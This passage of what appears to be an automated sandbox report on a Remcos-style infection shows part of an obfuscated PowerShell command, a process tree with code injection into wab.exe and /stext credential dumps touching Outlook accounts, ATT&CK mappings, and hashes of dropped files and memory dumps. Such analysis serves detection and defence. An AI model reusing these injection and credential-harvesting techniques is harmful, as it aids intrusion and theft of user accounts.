(Systemsikkerheden ' Tilord$ DesertgFyringsl CentreoCerebr bStruthiaAttachelCrapula: St,dsnRKradseroIndustrd InsekteBogmarkrWat hwoiBephilteDmringetBlindfl= i tell$ PolygaH ,vergra Korsfaz unengre Tra.malSumpg sl Impaney ygaen.Geschfts LigfrduVaireebbReactedsAffectitRevei.lrUdkomstiTakn.ngnfaellelgMesitae(Othern.$MefistoLDis ageeUnindict Refer tsubdiacrOrdbilluUnguiltrCubistieErosion,.orlyst$ufuld tk BiblicoB.lligslKipchakoC,liolorPho osyi TvinedtNetadretVerbesie TookenrskatteksCur.syi)Blackca ');Debutroller $Roderiet;"
    3⤵
    - Suspicious use of NtSetInformationThreadHideFromDebugger
    - Suspicious use of SetThreadContext
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious behavior: MapViewOfSection
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:3700
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "echo %appdata%\Haematologic41.Mil && echo t"
      4⤵
      PID:1772
  - - C:\Program Files (x86)\windows mail\wab.exe
      "C:\Program Files (x86)\windows mail\wab.exe"
      4⤵
      Suspicious use of NtCreateThreadExHideFromDebugger
      Suspicious use of NtSetInformationThreadHideFromDebugger
      Suspicious use of SetThreadContext
      Suspicious behavior: MapViewOfSection
      Suspicious use of FindShellTrayWindow
      Suspicious use of SendNotifyMessage
      Suspicious use of SetWindowsHookEx
      Suspicious use of WriteProcessMemory
      PID:412
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\bkmwcjtziidfvihkng"
        5⤵
        Suspicious behavior: EnumeratesProcesses
        
        PID:4072
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\mesgdbeswqvsxovowrbci"
        5⤵
        Accesses Microsoft Outlook accounts
        
        PID:2136
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\wgxzwuoukynxiursouoetcwaa"
        5⤵
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:2092

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Email Collection

T1114

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

logs.dat

Path C:\ProgramData\remcos\logs.dat
Size 200B
SHA256 0d01c71fe0548d9216bcf90c2d0e95d252236dfd617947e306934eb6d03146f1
MD5 7a18df2857df6f17304b38981c0eb99a
SHA1 f00852462bd26563983a828270388c09cccb69c8
SHA512 b19916d842d260f328190b58d0c453f300f67433514fe94a9044dd5c65896ba148470c38a396fa8a7e4c2178555754b89ffdbef41473c7f72ad7ccd7bae0926c
MD5 SHA1 SHA512

Submit Download

__PSScriptPolicyTest_cbtk2bt1.rtj.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_cbtk2bt1.rtj.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
MD5 SHA1 SHA512

Submit Download

bkmwcjtziidfvihkng

Path C:\Users\Admin\AppData\Local\Temp\bkmwcjtziidfvihkng
Size 4KB
SHA256 880d0a92fcd2d68631b413e0cc98d71fc68337abb19f59901c075e058c694b47
MD5 25a7e8d624c2bfdb2facdc50a1d9b965
SHA1 bbf90e7e78dcba692d6a35716d72cd1affc8cf9c
SHA512 35e57b1fd68fd64c325d179323c3383c39cb00e37b42480c0962517eb8ffdffd5d3a95b77122161f651e45ab2fee4a8e5c3f604bd80351a2680f087ea2b9517f
SSDEEP 48:wvvv0KxfvvcKxfdvv0KxBvv0Kxakvv0K7:mvnxvPp1vnPvnbvn7
MD5 SHA1 SHA512 SSDEEP

Submit Download

Haematologic41.Mil

Path C:\Users\Admin\AppData\Roaming\Haematologic41.Mil
Size 452KB
SHA256 d60baeb50560c67a31c9a73d826ea5252b32f101dd3376904e33dd1540206503
MD5 7f4e0c801522488582b1a8ba3f4e55b6
SHA1 171c59bb384843a74a345b28c68c6d47fedd0a72
SHA512 af8d86adc8d2e085db78106209a16dd2adba4ca0a7cd3795fe9c7c6d143c1ffb5935133452774351ea3ac460823a550532c0db401b2196850396c7ef94258e18
SSDEEP 12288:lWoacXtlIJ8eCU1kXnFogfwwD9rktRGuPvRE8:l9ac/IJrsFog48kzGi
MD5 SHA1 SHA512 SSDEEP

Submit Download

memory/412-74-0x000000001FA20000-0x000000001FA39000-memory.dmp

Download

memory/412-79-0x0000000000800000-0x0000000001A54000-memory.dmp

Download

memory/412-106-0x0000000000800000-0x0000000001A54000-memory.dmp

Download

memory/412-103-0x0000000000800000-0x0000000001A54000-memory.dmp

Download

memory/412-100-0x0000000000800000-0x0000000001A54000-memory.dmp

Download

memory/412-97-0x0000000000800000-0x0000000001A54000-memory.dmp

Download

memory/412-88-0x0000000000800000-0x0000000001A54000-memory.dmp

Download

memory/412-85-0x0000000000800000-0x0000000001A54000-memory.dmp

Download

memory/412-82-0x0000000000800000-0x0000000001A54000-memory.dmp

Download

memory/412-46-0x0000000000800000-0x0000000001A54000-memory.dmp

Download

memory/412-76-0x0000000000800000-0x0000000001A54000-memory.dmp

Download

memory/412-53-0x0000000000800000-0x0000000001A54000-memory.dmp

Download

memory/412-73-0x000000001FA20000-0x000000001FA39000-memory.dmp

Download

memory/412-70-0x000000001FA20000-0x000000001FA39000-memory.dmp

Download

memory/2092-62-0x0000000000400000-0x0000000000424000-memory.dmp

Download

memory/2092-67-0x0000000000400000-0x0000000000424000-memory.dmp

Download

memory/2092-66-0x0000000000400000-0x0000000000424000-memory.dmp

Download

memory/2136-57-0x0000000000400000-0x0000000000462000-memory.dmp

Download

memory/2136-59-0x0000000000400000-0x0000000000462000-memory.dmp

Download

memory/2136-61-0x0000000000400000-0x0000000000462000-memory.dmp

Download

memory/3700-38-0x0000000007560000-0x00000000075F6000-memory.dmp

Download

memory/3700-22-0x0000000005B00000-0x0000000005B66000-memory.dmp

Download

memory/3700-34-0x0000000006290000-0x00000000062AE000-memory.dmp

Download

memory/3700-36-0x0000000007B00000-0x000000000817A000-memory.dmp

Download

memory/3700-37-0x0000000006830000-0x000000000684A000-memory.dmp

Download

memory/3700-20-0x00000000054D0000-0x0000000005AF8000-memory.dmp

Download

memory/3700-19-0x0000000002970000-0x00000000029A6000-memory.dmp

Download

memory/3700-21-0x00000000053F0000-0x0000000005412000-memory.dmp

Download

memory/3700-42-0x0000000008CE0000-0x000000000AFF3000-memory.dmp

Download

memory/3700-35-0x00000000062D0000-0x000000000631C000-memory.dmp

Download

memory/3700-23-0x0000000005C60000-0x0000000005CC6000-memory.dmp

Download

memory/3700-40-0x0000000008730000-0x0000000008CD4000-memory.dmp

Download

memory/3700-33-0x0000000005EB0000-0x0000000006204000-memory.dmp

Download

memory/3700-39-0x00000000074F0000-0x0000000007512000-memory.dmp

Download

memory/4072-58-0x0000000000400000-0x0000000000478000-memory.dmp

Download

memory/4072-60-0x0000000000400000-0x0000000000478000-memory.dmp

Download

memory/4072-56-0x0000000000400000-0x0000000000478000-memory.dmp

Download

memory/4780-44-0x00007FFAE60C0000-0x00007FFAE6B81000-memory.dmp

Download

memory/4780-5-0x00000162DE020000-0x00000162DE042000-memory.dmp

Download

memory/4780-4-0x00007FFAE60C3000-0x00007FFAE60C5000-memory.dmp

Download

memory/4780-15-0x00007FFAE60C0000-0x00007FFAE6B81000-memory.dmp

Download

memory/4780-16-0x00007FFAE60C0000-0x00007FFAE6B81000-memory.dmp

Download

memory/4780-43-0x00007FFAE60C3000-0x00007FFAE60C5000-memory.dmp

Download

memory/4780-52-0x00007FFAE60C0000-0x00007FFAE6B81000-memory.dmp

Download